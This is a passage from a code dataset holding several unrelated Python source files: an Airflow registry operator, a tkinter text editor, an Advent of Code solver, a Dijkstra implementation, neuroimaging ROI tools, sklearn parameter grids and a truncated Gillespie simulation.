stage_params.get('dag')\n conn = self._create_conn()\n # Check for any pending executions.\n pending_one = conn.get_first(\n self._sql_lookup(\"REGISTRY_PENDINGS\", stage_params)\n )\n\n if pending_one[0]:\n last_run = pending_one[0]\n else:\n last_run_records = conn.get_first(\n self._sql_lookup(\"REGISTRY_SELECT_MAX\", stage_params)\n )\n\n if not last_run_records or not last_run_records[0]:\n last_run = self._datetime_format(datetime.now() - timedelta(days=1))\n else:\n last_run = last_run_records[0]\n\n stage_params.update({\"hive_operator__return_value\": True})\n\n timestamp_op = self._generate_emr_steps_jdbc(\n dag, \"REGISTRY_SOURCE_LATEST_RUN\", stage_params\n )\n\n return (self._datetime_format(last_run), timestamp_op)\n\n def _create_registry(self, params):\n \"\"\"\n Function to check if the registry table exists. If not, it will be created.\n\n :param params: Dict containing information for the snapshot.\n :type params: dict\n \"\"\"\n conn = self._create_conn()\n records = conn.get_first(self._sql_lookup(\"REGISTRY_EXIST\", params))\n\n if not records:\n conn.run(self._sql_lookup(\"REGISTRY_CREATE\", params))\n else:\n try:\n conn.run(self._sql_lookup(\"REGISTRY_ALTER\", params))\n except Exception:\n # If the column already exists, don't do anything.\n pass\n\n return True\n\n def _insert_registry(self, params, **kwargs):\n \"\"\"\n Function to insert the current timestamps into the registry table.\n\n :param params: Dict containing information for the snapshot.\n :type params: dict\n \"\"\"\n conn = self._create_conn()\n stage_params = params.copy()\n conn.run(self._sql_lookup(\"REGISTRY_INSERT\", params))\n\n def _insert_incremental(self, params, **kwargs):\n \"\"\"\n Function to get registry timestamps for incremental runs.\n\n For fixing the timestamp problem, we will fetch the timestamps as follows:\n - The last_run_at timestamp for which succeded=1 will be the the current_run_at timestamp\n - For the current_run_at, we will fetch the maximum timestamp for the source table(i.e atomic.events) and use that INSTEAD of the current timestamp.\n - The advatange of using this method is:\n - It will always run for data that has been updated in the hive metastore.\n - In case the partitions are not being updated, the dag run will be skipped.\n\n :param params: Dict containing information for the snapshot\n :type params: dict\n \"\"\"\n task_instance = kwargs.get('ti')\n if task_instance:\n snapshot_end = task_intance.xcom_pull(key='return_value', task_ids='registry_snapshot_end_0')\n stage_params = params.copy()\n stage_params.update({'snapshot_end': snapshot_end})\n insert_op = PythonOperator(\n task_id=f\"registry_insert_0\",\n python_callable=self._insert_registry,\n op_kwargs={\"params\": stage_params},\n )\n return (insert_op, stage_params)\n else:\n raise ValueError(\"Task instance not found. Force failing DAG.\")\n\n\n def _update_registry(self, params):\n \"\"\"\n Function to update the timestamps in the registry table if the DAG was successful.\n\n :param params: Dict containing information for the snapshot.\n :type params: dict\n \"\"\"\n conn = self._create_conn()\n conn.run(self._sql_lookup(\"REGISTRY_SUCCEEDED\", params))\n\n @classmethod\n def registry_create(cls, params):\n \"\"\"\n Python operator to create the registry table.\n\n :param params: Dict containing information for the snapshot.\n :type params: dict\n \"\"\"\n obj = cls(params)\n registry_create = PythonOperator(\n task_id=f\"registry_create_{obj.stage_index}\",\n\n python_callable=obj._create_registry,\n op_kwargs={\"params\": params},\n )\n\n return registry_create\n\n @classmethod\n def registry_insert(cls, params):\n \"\"\"\n Python operator to insert into the registry table.\n\n :param params: Dict containing information for the snapshot.\n :type params: dict\n \"\"\"\n obj = cls(params)\n registry_insert = PythonOperator(\n task_id=f\"registry_insert_{obj.stage_index}\",\n\n python_callable=obj._insert_registry,\n op_kwargs={\"params\": params},\n )\n return registry_insert\n\n @classmethod\n def registry_insert_incremental(cls, params):\n obj = cls(params)\n (registry_insert_incremental, updated_params) = PythonOperator(\n task_id=f\"registry_snapshot_end_{obj.stage_index}\",\n python_callable=obj._insert_incremental,\n op_args={\"params\": params},\n )\n return (registry_insert_incremental, updated_params)\n\n @classmethod\n def registry_update(cls, params):\n \"\"\"\n Python operator to update the registry table.\n\n :param params: Dict containing information for the snapshot.\n :type params: dict\n \"\"\"\n obj = cls(params)\n registry_update = PythonOperator(\n task_id=f\"registry_update_{obj.stage_index}\",\n\n python_callable=obj._update_registry,\n op_kwargs={\"params\": params},\n )\n\n return registry_update\n\n @classmethod\n def fetch_tstamps(cls, params):\n \"\"\"\n Python operator to fetch the timestamps for the current snapshot.\n\n :param params: Dict containing information for the snapshot.\n :type params: dict\n \"\"\"\n obj = cls(params)\n #if params.get(\"snapshot_type\") == \"full\":\n # last_run, current_run = obj._fetch_tstamps_full(params)\n # return last_run, current_run\n #else:\n (last_run, latest_timestamp_op) = obj._fetch_tstamps_incremental(params)\n return (last_run, latest_timestamp_op)\n","sub_path":"dags/common/operators/registry_emr_workflow_v2.py","file_name":"registry_emr_workflow_v2.py","file_ext":"py","file_size_in_byte":8698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"317861512","text":"from tkinter import *\nfrom tkinter import filedialog as fd\nfrom tkinter import messagebox as mb\n \ndef insert_text():\n file_name = fd.askopenfilename()\n\n try:\n f = open(file_name, \"r\", encoding=\"utf-8\")\n text.delete(1.0, END)\n text.insert(1.0, f.read())\n except FileNotFoundError:\n mb.showerror(\"Error\", \"File not found!\")\n except:\n mb.showerror(\"Error\", \"Error while working with file!\")\n else:\n f.close()\n \ndef extract_text():\n file_name = fd.asksaveasfilename()\n \n try:\n f = open(file_name, \"w\")\n f.write(text.get(1.0, END))\n except FileNotFoundError:\n mb.showerror(\"Error\", \"File not found!\")\n except:\n mb.showerror(\"Error\", \"Error while working with file!\")\n else:\n f.close()\n\ndef clear_text():\n res = mb.askyesno(\"Clear text\", \"Are you sure you want to clear the text?\")\n\n if res:\n text.delete(1.0, END)\n \nroot = Tk()\nroot.title(\"Dialog windows\")\n\ntext = Text(root, width=50, height=25)\ntext.grid(columnspan=2)\n\nbtns_frame = Frame(root)\nbtns_frame.grid(row=1, columnspan=2)\n\nButton(btns_frame, text=\"Open\", command=insert_text).grid(row=0, column=0, padx=2, pady=2)\nButton(btns_frame, text=\"Save\", command=extract_text).grid(row=0, column=1, padx=2, pady=2)\nButton(btns_frame, text=\"Clear\", command=clear_text).grid(row=0, column=2, padx=2, pady=2)\n \nroot.mainloop()","sub_path":"learning_tkinter/simple_file_editor_with_dw.py","file_name":"simple_file_editor_with_dw.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"90483661","text":"import re\n\n\n#crawler에서만 필요한 코드(년, 개월 단위 영상은 취급하지 않음)\ndef sub(keyword) :\n\n if '년' in keyword or '개월' in keyword:\n return -1\n\n else : return 1\n\n\n# 조회수, 구독자, 댓글, 좋���요는 int형으로 바꿔줌\n# 데이터 프라임에 저장하기 쉽게 스트링으로 바꿔줌\ndef stoi(keyword) :\n keyword = keyword.replace(',','')\n\n if '만' in keyword:\n digit = re.findall(\"\\d+\", keyword)\n i = float(digit[0]) * 10000\n return int(i)\n\n elif '천' in keyword:\n digit = re.findall(\"\\d+\", keyword)\n i = float(digit[0]) * 1000\n return int(i)\n\n elif '개' in keyword or '회' in keyword or '명' in keyword:\n digit = re.findall(\"\\d+\", keyword)\n return int(digit[0])\n\n elif '없음' in keyword:\n return 0\n\n else : return int(keyword)\n","sub_path":"crawler/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"341185481","text":"from day07.day07 import AmpRunner\nfrom day09.day09 import IntCodeComputerDay9\n\ncomputer = IntCodeComputerDay9()\n\nprogram = AmpRunner.load_program_from_file('day19/input.txt')\ncomputer.debug = False\n\nyes = 0\ninputs = []\n# for y in range(0, 50):\n# for x in range(0, 50):\n# computer.run_program(program=program, inputs=[x, y])\n# in_beam = computer.output[0]\n# if in_beam == 1:\n# yes += 1\n# print(\"#\" if in_beam else '.', end='')\n# print()\n# breakpoint()\n\nprint(yes)\n\n# ship size 2\n# 0 0 (0, 0) (1, 0)\n# 0 0\n\nship_size = 100\n\n\n# ship_size = 2\n\ndef in_ship(ship_x, ship_y, x, y):\n return x in range(ship_x, ship_x + (ship_size)) and y in range(ship_y, ship_y + (ship_size))\n\n\ndef in_beam(pos):\n x, y = pos\n computer.run_program(program=program, inputs=[x, y])\n return computer.output[0] == 1\n\n\nmargin = 2\n\n\ndef print_ship(x, y):\n for _y in range(y - margin, y + ship_size + margin):\n for _x in range(x - margin, x + ship_size + margin):\n if in_ship(x, y, _x, _y):\n print('+', end='')\n else:\n print('#' if in_beam((_x, _y)) else '.', end='')\n print()\n\n\nx, y = 0, 0\nx, y = 33, 49\n# x, y = 1147, 1642\n\nfully_in_beam = False\nwhile True:\n tl = x, y\n bl = x, y + (ship_size - 1)\n br = x + (ship_size - 1), y + (ship_size - 1)\n tr = x + (ship_size - 1), y\n\n if not fully_in_beam and not in_beam(bl):\n print(\"%s, %s bottom left is not in beam. going right\" % (x, y))\n # print_ship(x, y)\n x += 1\n elif not fully_in_beam and not in_beam(tr):\n print(\"%s, %s top right not in beam. going down\" % (x, y))\n # print_ship(x, y)\n y += 1\n else:\n fully_in_beam = True\n tr_outside = tr[0], tr[1] - 1\n bl_outside = bl[0] - 1, bl[1]\n\n tr_up_left = tr[0] - 1, tr[1] - 1\n bl_up_left = bl[0] - 1, bl[1] - 1\n\n tr_up2_left = tr[0] - 1, tr[1] - 2\n bl_up2_left = bl[0] - 1, bl[1] - 2\n\n if in_beam(tr_outside):\n print(\"[%s, %s] In beam now. But we need to go up a bit\" % (x, y))\n # print_ship(x, y)\n y -= 1\n continue\n\n if in_beam(bl_outside):\n x -= 1\n print(\"[%s, %s] In beam now. But we need to go left a bit\" % (x, y))\n # print_ship(x, y)\n continue\n\n if in_beam(tr_up_left) and in_beam(bl_up_left):\n x -= 1\n y -= 1\n print(\"[%s, %s] In beam now. Let's jump up and left by 1\" % (x, y))\n continue\n\n if in_beam(tr_up2_left) and in_beam(bl_up2_left):\n x -= 1\n y -= 2\n print(\"[%s, %s] In beam now. Let's jump up 2 and left by 1\" % (x, y))\n continue\n\n break\n\nprint(x, y)\n\n# 1147 1642\n# 1143 1636\n# 1137 1628\n# 1135 1625\nprint_ship(x, y)\n\n# 11471642 #incorrect\n","sub_path":"day19/day19.py","file_name":"day19.py","file_ext":"py","file_size_in_byte":2622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"292727836","text":"#Uses python3\n\nimport sys\nimport queue\nimport math\n\nclass Node:\n def __init__(self, v_num, dist):\n self.num = v_num\n self.dist = dist\n\nclass make_queue:\n def __init__(self):\n # self.min_heap = [[] for _ in range(n)]\n self.min_heap = []\n self.size = -1\n self.pos_array = []\n\n def append(self, node):\n self.size += 1\n self.min_heap.append(node)\n self.pos_array\n self.pos_array.append(self.size)\n\n def left_child(self, i):\n return (2*i + 1)\n\n def right_child(self, i):\n return (2*i + 2)\n\n def parent(self, i):\n return math.floor((i-1)/2)\n\n def sift_up(self, i):\n min_id = self.parent(i)\n if min_id != -1 and self.min_heap[min_id].dist > self.min_heap[i].dist:\n self.pos_array[self.min_heap[i].num] = min_id\n self.pos_array[self.min_heap[min_id].num] = i\n self.min_heap[i], self.min_heap[min_id] = self.min_heap[min_id], self.min_heap[i]\n self.sift_up(min_id)\n else:\n return\n\n def sift_down(self, i):\n min_id = i\n l_child = self.left_child(i)\n if l_child <= self.size and self.min_heap[l_child].dist < self.min_heap[min_id].dist:\n min_id = l_child\n r_child = self.right_child(i)\n if r_child <= self.size and self.min_heap[r_child].dist < self.min_heap[min_id].dist:\n min_id = r_child\n if min_id != i:\n self.pos_array[self.min_heap[i].num] = min_id\n self.pos_array[self.min_heap[min_id].num] = i\n self.min_heap[min_id], self.min_heap[i] = self.min_heap[i], self.min_heap[min_id]\n else:\n return\n\n def extract_min(self):\n min_val = self.min_heap[0]\n last_node = self.min_heap.pop()\n if self.min_heap:\n self.min_heap[0] = last_node\n self.pos_array[last_node.num] = 0\n self.size -= 1\n self.sift_down(0)\n return min_val\n \n def change_priority(self, i, dist):\n pos = self.pos_array[i]\n old_p = self.min_heap[pos].dist\n self.min_heap[pos].dist = dist\n if old_p > dist:\n self.sift_up(pos)\n else:\n self.sift_down(pos)\n\ndef distance(adj, cost, s):\n dist = [float(\"inf\") for _ in range(n)]\n prev = [None for _ in range(n)]\n v_queue = make_queue()\n visited = [False for _ in range(n)]\n dist_vals = [float(\"inf\") for _ in range(n)]\n for i in range(n):\n v_queue.append(Node(i, float(\"inf\")))\n v_queue.change_priority(s, 0)\n dist_vals[s] = 0\n while v_queue.min_heap:\n u = v_queue.extract_min()\n visited[u.num] = True\n for v, w in zip(adj[u.num], cost[u.num]):\n if dist_vals[v] > dist_vals[u.num] + w:\n dist_vals[v] = dist_vals[u.num] + w\n prev[v] = u.num\n v_queue.change_priority(v, dist_vals[v])\n del dist_vals[s]\n return [-1 if math.isinf(u) else u for u in dist_vals]\n\nif __name__ == '__main__':\n t = input()\n for i in range(int(t)):\n n, m = input().split()\n n = int(n)\n m = int(m)\n data = []\n for _ in range(m + 1):\n data.extend(list(map(int, input().split())))\n edges = list(zip(zip(data[0:(3 * m):3], data[1:(3 * m):3]), data[2:(3 * m):3]))\n data = data[3 * m:]\n adj = [[] for _ in range(n)]\n cost = [[] for _ in range(n)]\n for ((a, b), w) in edges:\n adj[a - 1].append(b - 1)\n cost[a - 1].append(w)\n adj[b-1].append(a-1)\n cost[b-1].append(w)\n s = data[0] - 1\n if i == 1:\n for a, b in zip(adj[59], cost[59]):\n print(59, a, b)\n for a, b in zip(adj[2], cost[2]):\n print(2, a, b)\n # print(*distance(adj, cost, s))\n distance(adj, cost, s)\n","sub_path":"3_algos_graphs/4_week/dijkstra/dijkstra_hacker.py","file_name":"dijkstra_hacker.py","file_ext":"py","file_size_in_byte":3880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"193702374","text":"import sys\nimport numpy as np\nimport theano\nimport theano.tensor as T\nfrom nn import build_mlp\nfrom load import load_data\nfrom dataset import get_char\n\nimport lasagne\n\ntrain_images, train_labels, test_images, test_labels = load_data(sys.argv[1]) \n\ninput_var = T.tensor4('inputs')\ntarget_var = T.ivector('targets')\n\nnetwork = build_mlp(input_var)\n\n#load network\nwith np.load('./networks/{}.npz'.format(sys.argv[2])) as f:\n param_values = [f['arr_%d' % i] for i in range(len(f.files))]\nlasagne.layers.set_all_param_values(network, param_values)\n\n\n# run 100 examples\nval_fn = theano.function(\n [input_var], lasagne.layers.get_output(network, deterministic=True))\n\ncorrect = 0\nnum_tests = 100\n\nfor i in range(num_tests):\n output = val_fn([test_images[i]])\n max = np.argmax(output[0])\n if max == test_labels[i]:\n correct += 1\n print('Predicted : {}, actual: {}'.format(get_char(max), get_char(test_labels[i])))\n\nacc_for_tests = correct/num_tests * 100\n\nprint(\"Accuracy for the first {} charactes is : {}\".format(num_tests, acc_for_tests))\n\n\n# run agains the whole dataset\ntest_prediction = lasagne.layers.get_output(network)\ntest_acc = T.mean(T.eq(T.argmax(test_prediction, axis=1),\n target_var), dtype=theano.config.floatX)\n\nacc_fn = theano.function([input_var, target_var], test_acc)\n\nprint(\"Accuracy for the entire test dataset is: {}%\".format(\n acc_fn(test_images, test_labels)*100))\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"569561187","text":"# coding=utf-8\nwhile True :\n n=input()\n str1=''\n str2=''\n str3=''\n l=''\n for i in range(int(n)):\n t,a,b=input().split()\n # print(str1,'+/*')\n if b=='AC' and str1.find(a)==-1:\n str1=str1+a\n h=int(t[0:2])-18\n k=int(str2.count(a))\n m=int(t[3:5])-0+k*20\n # print(h,m,'***')\n if m>=60:\n h=h+int(m/60)\n m=m-int(m/60)*60\n h,m=str(h),str(m)\n if len(h)==1:\n h='0'+h\n if len(m)==1:\n m='0'+m\n str3=str3+h+':'+m\n l=h+':'+m\n h,m=int(h),int(m)\n print(l) \n elif b=='AC'and str1.find(a)!=-1:\n i=int(str1.find(a))\n print(str3[5*i:5*i+5])\n elif b!='AC':\n str2=str2+a\n # print(int(str2.count(a)))","sub_path":"data/3929/WA_py/512308.py","file_name":"512308.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"193109711","text":"# Sample Input\n\n# 4\n# 101\n# Sales.pptx\n# 10/02/2020, Rajesh, 5MB\n# 102\n# Report.pptx\n# Rohit, 2MB, 12/12/2019\n# 103\n# Design Document.docx\n# 4038KB, 01/01/2020, Vijay\n# 104\n# Test_Approach.docx\n# 385KB, Sujay, 28/03/2020\n# docx\n\n\nclass Document:\n def __init__(self,docId,docName,docDetails):\n self.docId = docId\n self.docName = docName\n self.docDetails = docDetails\n\nclass DocumentArchive:\n def __init__(self,archiveId,documentList):\n self.archiveId = archiveId\n self.documentList = documentList\n \n def findDateFromDocumentDetails(self):\n doclis = []\n for doc in self.documentList:\n check = doc.docDetails.count('/') == 2\n x = list(doc.docDetails.strip().split(','))\n for a in x:\n if check and '/' in a:\n doclis.append((doc.docId,a))\n return doclis\n \n def countDocumentsOfGivenType(self,docType):\n c = 0\n for doc in self.documentList:\n docT = doc.docName.strip().split('.')[1] \n if docT == docType:\n c += 1\n return c\n \n\nif __name__ == '__main__':\n n = int(input())\n docList = []\n for _ in range(n):\n docList.append(Document(int(input()),input(),input()))\n da = DocumentArchive(1,docList)\n docType = input()\n print('-------------output---------------')\n id_dates = da.findDateFromDocumentDetails()\n if len(id_dates) > 0 :\n for id_date in id_dates:\n print(f'{id_date[0]} {id_date[1]}')\n count = da.countDocumentsOfGivenType(docType)\n print(f'Document Count = {count}')","sub_path":"document.py","file_name":"document.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"473331808","text":"import json\nwith open('interactions_1554476728882.json') as f:\n\tdata = json.load(f)\n\nprint(len(data))\n\ndata_hover = [x for x in data if (x[\"customLogInfo\"][\"eventType\"] == 'hover' and x[\"customLogInfo\"][\"elapsedTime\"] < 0.1)]\ndata_calc = [x for x in data if x[\"customLogInfo\"][\"eventType\"] == 'set_attribute_weight_vector_calc']\ndata_init = [x for x in data if x[\"customLogInfo\"][\"eventType\"] == 'set_attribute_weight_vector_init']\ndata_select = [x for x in data if x[\"customLogInfo\"][\"eventType\"] == 'set_attribute_weight_vector_select']\ndata_category = [x for x in data if x[\"customLogInfo\"][\"eventType\"] == 'category_click']\ndata_help = [x for x in data if x[\"customLogInfo\"][\"eventType\"] == 'help_hover']\ndata_att_drag = [x for x in data if x[\"customLogInfo\"][\"eventType\"] == 'set_attribute_weight_vector_drag']\ndata_double = [x for x in data if x[\"customLogInfo\"][\"eventType\"] == 'double_click']\ndata_cat_double = [x for x in data if x[\"customLogInfo\"][\"eventType\"] == 'category_double_click']\ndata_drag = [x for x in data if (x[\"customLogInfo\"][\"eventType\"] == 'drag' and x[\"customLogInfo\"][\"elapsedTime\"] < 0.1)]\ndata_click = [x for x in data if x[\"customLogInfo\"][\"eventType\"] == 'click']\n\neliminate_data = data_hover + data_calc + data_init + data_select + data_category + data_drag + data_help + data_att_drag + data_cat_double + data_double;\nclean_data = [x for x in data if x not in eliminate_data]\n\nprint(len(clean_data))\n\nwith open('interactions_1554476728882_clean.json','w') as txtfile:\n\tjson.dump(clean_data,txtfile,ensure_ascii=False)\n\n#print(len(data_calc))\n#print(len(data_init))\n#print(len(data_select))\n#print(len(data_category))\n#print(len(data_help))\n#print(len(data_att_drag))\n#print(len(data_cat_double))\n#print(len(data_double))\n#print(len(data_hover))\n#print(len(data_click))\n#print(len(data_drag))","sub_path":"Project/cog_sci_code/Scripts/cleaning.py","file_name":"cleaning.py","file_ext":"py","file_size_in_byte":1826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"34723126","text":"## Functions for ROI generation related tasks\n\nimport tkinter as tk\nimport functions as fn\nfrom pathlib import Path\nimport subprocess, os, re\nimport numpy as np\n\n\nclass roif:\n def __init__(self,master,roi_path, roi_search, roi_tree, roi_name):\n self.master = master\n self.er = fn.Elements(self.master)\n self.roi_path = roi_path\n self.roi_search = roi_search\n self.roi_tree = roi_tree\n self.roi_name = roi_name\n\n def atlas_based(self):\n # Threshold\n self.thr_low = self.er.textField('Threshhold (low)',10,1,1)\n self.thr_high = self.er.textField('Threshhold (high)', 10, 3, 1)\n # Binarize button\n self.er.button('Binarize', self.threshold, '', 1, 2, 'w', 1)\n # Localize button\n self.er.button('Localize', self.localize, '', 1, 3, 'w', 1)\n\n command = ['fsleyes','-std']\n # subprocess.run(command)\n\n def threshold(self):\n roi_path = self.roi_tree.file_path\n roi = self.roi_tree.selection_name\n self.roi = roi\n output = roi+ '_bin'\n low = self.thr_low.get()\n high = self.thr_high.get()\n # threshold\n command = ['fslmaths',Path(roi_path)/roi]\n if low: command += ['-thr',low]\n if high:command += ['-uthr', high]\n if low or high:\n command += [Path(roi_path)/output]\n print(command)\n subprocess.run(command)\n input = output\n else:\n input = roi\n self.binarize(Path(roi_path)/input, Path(roi_path)/output)\n\n def binarize(self, image_in, image_out):\n command = ['fslmaths', image_in, '-bin',image_out]\n subprocess.run(command)\n\n def localize(self):\n roi = self.roi_tree.selection\n # generate temporary binarized version of anatomical cluster\n anatomical_cluster = fn.appFuncs.select_file('Select Anatomical Cluster')\n anatomical_cluster_bin = Path(anatomical_cluster).parent/f'bin_{Path(anatomical_cluster).name}'\n self.binarize(anatomical_cluster, anatomical_cluster_bin)\n # naming of new ROI\n new_roi_name = self.roi_name.get()\n if new_roi_name == '':\n new_roi_name = f'{self.roi_tree.selection_name}_{Path(Path(anatomical_cluster).stem).stem}'\n\n # actual localization\n roi_localized = Path(roi).parent/new_roi_name\n command = ['fslmaths',roi,'-mul',anatomical_cluster_bin,roi_localized]\n subprocess.run(command)\n\n # delete binarized mask file\n Path(anatomical_cluster_bin).unlink()\n\n\n def group(self):\n self.er.button('Select image', self.cluster_select, '', 0, 1, 'w', 1)\n self.er.button('Extract', self.cluster_extract, '', 0, 2, 'w', 1)\n print('Peak Group')\n\n def cluster_select(self):\n self.var = fn.appFuncs.select_file('Select image file')\n self.cluster_num()\n self.cluster = self.er.textField(f'Cluster Number (1-{self.cluster_indexes[0]})', '10', 1, 1)\n\n def cluster_num(self):\n self.cluster_indexes = []\n self.cluster_mni =[]\n file_dir = Path(self.var).parent\n file_name = Path(Path(self.var).stem).stem\n\n file_name = str(file_name)\n m = re.search('zstat(.+?)', file_name)\n if m:\n name = Path(file_dir) / f'cluster_zstat{m.group(1)}_std.txt'\n print(str(name))\n if Path(name).is_file():\n # read and extract data\n with open(name) as f:\n i = 0\n for line in f:\n if i == 0:\n break\n data = [r.split() for r in f]\n for r in data:\n mni = [int(i) for i in r[5:8]]\n self.cluster_indexes.append(r[0])\n self.cluster_mni.append(mni)\n print(f'{r[0]} {r[1]} MNI : {mni}')\n f.close()\n\n def cluster_extract(self):\n cluster = str(self.cluster.get())\n mask_name = Path(self.roi_path) / f'{str(self.roi_name.get())}_{cluster}.nii.gz'\n command = ['fslmaths', '-dt', 'int', self.var, '-thr', cluster, '-uthr', cluster, '-bin', mask_name]\n subprocess.run(command)\n print('Extraction complete!')\n\n def geometry_based(self):\n self.FSLDIR = os.environ['FSLDIR']\n\n self.x_c = self.er.textField(f'x:', '3', 4, 1)\n self.y_c = self.er.textField(f'y:', '3', 7, 1)\n self.z_c = self.er.textField(f'z:', '3', 10, 1)\n # self.roi_name = self.er.textField(f'ROI Name: ', '20', 15, 1)\n # Size of ROI\n self.roi_size = self.er.textField(f'Size (mm): ', '5', 12, 1)\n self.er.button('Generate ROI', self.geometry_process, '', 20, 1, 'w', 1)\n # self.er.button('Generate ROI', fn.appFuncs.thread, (self.master, self.geometry_process,True), 20, 1, 'w', 1)\n\n # Standard image\n standard_search = Path(f'{self.FSLDIR}data/standard').glob('*.nii.gz')\n self.standard_list =[e.name for e in standard_search]\n self.standard_list.sort()\n self.image_var = tk.StringVar(self.master)\n\n self.std_image_options = self.er.popupMenu(self.image_var, self.standard_list, 1, 1, 25, 'w')\n self.image_var.set(self.standard_list[22])\n\n # Geometry options\n self.option_var =tk.StringVar(self.master)\n self.geometries = ['sphere','box','gauss']\n self.geometry_options = self.er.popupMenu(self.option_var,self.geometries,1,2,10,'w')\n self.option_var.set(self.geometries[0])\n\n def geometry_process(self):\n self.master.update_idletasks()\n point_name = Path(self.roi_path) / f'{str(self.roi_name.get())}_point.nii.gz'\n roi_name_unbin = Path(self.roi_path) / f'{self.roi_name.get()}_unbin.nii.gz'\n roi_name = Path(self.roi_path) / f'{self.roi_name.get()}.nii.gz'\n template = f'{self.FSLDIR}data/standard/{self.image_var.get()}'\n\n # Generate a point for the seed region\n command = ['fslmaths', template, '-mul', '0', '-add', '1', '-roi', str(self.x_c.get()), '1', str(self.y_c.get()), '1',\n str(self.z_c.get()), '1', '0', '1', str(point_name), '-odt', 'float']\n subprocess.run(command)\n # Generate an ROI around the point\n command = ['fslmaths', point_name, '-kernel', self.option_var.get(), str(self.roi_size.get()), '-fmean', roi_name_unbin, '-odt', 'float']\n subprocess.run(command)\n # Binarize the ROI mask\n command = ['fslmaths', roi_name_unbin, '-bin', roi_name]\n subprocess.run(command)\n # Delete point and non-binarized files\n Path(point_name).unlink()\n Path(roi_name_unbin).unlink()\n\n self.roi_search()\n\n def peak_individual(self):\n print('Peak Individual')\n\n @staticmethod\n def mni_2_voxel(inp):\n origin = np.array([45, 63, 36])\n transf = np.array([-1, 1, 1])\n mni = np.array(inp)\n vox = np.round(origin + mni*transf/2)\n return vox\n\n def blank(self):\n pass","sub_path":"roi_funcs.py","file_name":"roi_funcs.py","file_ext":"py","file_size_in_byte":7082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"228774177","text":"from sklearn.naive_bayes import GaussianNB\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import GradientBoostingClassifier, RandomForestClassifier\nfrom sklearn.svm import SVC\nfrom sklearn.linear_model import SGDClassifier, LogisticRegression\nfrom sklearn.dummy import DummyClassifier\n\nclass ClassifierGrids:\n \"\"\"\n Lists of parameters of different sizes to use during hyperparameter tuning\n \"\"\"\n\n # Naive Bayes\n mnb_params = {}\n\n # Support Vector Classification\n svm_params = {'kernel': ['linear', 'rbf'],\n 'C': [0.1, 1, 10],\n 'max_iter': [100, 1000]\n }\n\n # SGDClassifier (Linear classifiers (SVM, logistic regression, a.o.) with SGD training)\n sgd_params = {'alpha': [1e-2, 1e-3, 1e-4],\n 'max_iter': [10, 100, 1000],\n 'penalty': ['l2', 'l1']\n }\n\n # Logistic Regression\n lr_params = {'penalty': ['l2', 'l1'],\n 'C': [0.1, 1, 10]\n }\n\n # Decision Tree\n dt_params = {'criterion': ['gini', 'entropy'],\n 'max_depth': [10,20,50],\n 'max_features': ['sqrt','log2'],\n 'min_samples_split': [5,10]\n }\n\n # Gradient Boosting\n gb_params = {'n_estimators': [10,100],\n 'learning_rate': [0.1,0.5],\n 'subsample': [0.5,1.0],\n 'max_depth': [5,50]\n }\n # Random Forest\n rf_params = {'max_depth': [10,50],\n 'min_samples_split': [5,10],\n 'n_estimators': [10,100],\n }\n\n # Random Baseline\n bl_rand_params = {\n 'strategy': ['uniform'],\n }\n\n # Probabilistic Baseline\n bl_wt_params = {\n 'strategy': ['stratified']\n }\n\n\n clf_list = {\n 'bl_wt': [DummyClassifier(), bl_wt_params],\n 'bl_rand': [DummyClassifier(), bl_rand_params],\n 'rf': [RandomForestClassifier(), rf_params],\n 'mnb': [GaussianNB(), mnb_params],\n 'svm': [SVC(probability=True), svm_params],\n 'sgd': [SGDClassifier(loss='log'), sgd_params],\n 'lr': [LogisticRegression(), lr_params],\n 'dt': [DecisionTreeClassifier(), dt_params],\n 'gb': [GradientBoostingClassifier(), gb_params],\n }\n","sub_path":"src/model/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"98115980","text":"import numpy as np\nimport math\nfrom sympy import solve, Symbol, latex, simplify, symbols, Matrix\nimport matplotlib.pyplot as plt\nfrom scipy.stats import norm\nimport seaborn as sns\nfrom scipy.signal import savgol_filter\n\n# Simulate time to next event and time using exponential distributions\ndef find_next_event(alpha, beta, N, n):\n p_d = beta*n\n t_d = np.random.exponential(scale = 1/p_d)\n if n != N:\n p_b = alpha * n * (1 - n / N)\n t_b = np.random.exponential(scale = 1/p_b)\n if t_b > t_d:\n return t_d, n-1\n return t_b, n+1\n return t_d, n-1\n\n# Produce realizations using Gillepsi's algorithm\ndef produce_realizations(n_realizations, max_samples, alpha, beta, N):\n realizations = np.zeros((max_samples, n_realizations))\n extinction_ixs = np.zeros(n_realizations)\n expected_delta_t = 0\n\n n_times = 0\n r = 0\n while r < n_realizations:\n print(r)\n n = N * (1 - beta / alpha)\n sample = 0\n while sample < max_samples-1 and n>0:\n delta_t, n = find_next_event(alpha=alpha, beta=beta, N=N, n=n)\n if n<0:\n break\n realizations[sample, r] = n\n sample += 1\n n_times += 1\n expected_delta_t += delta_t\n\n\n extinction_ixs[r] = sample*int(sample < max_samples-2)\n r += 1\n\n expected_delta_t = expected_delta_t/n_times\n expected_t_ix = int(n_times/r)\n extinction_ixs = extinction_ixs[np.where(extinction_ixs != 0)]\n return realizations, extinction_ixs, expected_delta_t, expected_t_ix\n\n\n\n\nalpha, beta = 1, .9\nN = 